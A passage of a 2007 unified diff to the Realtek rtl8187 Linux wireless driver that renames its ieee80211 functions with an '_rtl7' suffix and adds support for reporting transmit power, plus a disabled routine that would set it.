ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-02-26 03:05:03.241356403 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-02-26 03:05:07.761424588 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-02-26 03:05:03.311357459 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-02-26 03:05:07.811425342 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-02-26 03:05:03.371358364 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-02-26 03:05:03.371358364 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-02-26 03:05:03.381358515 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct 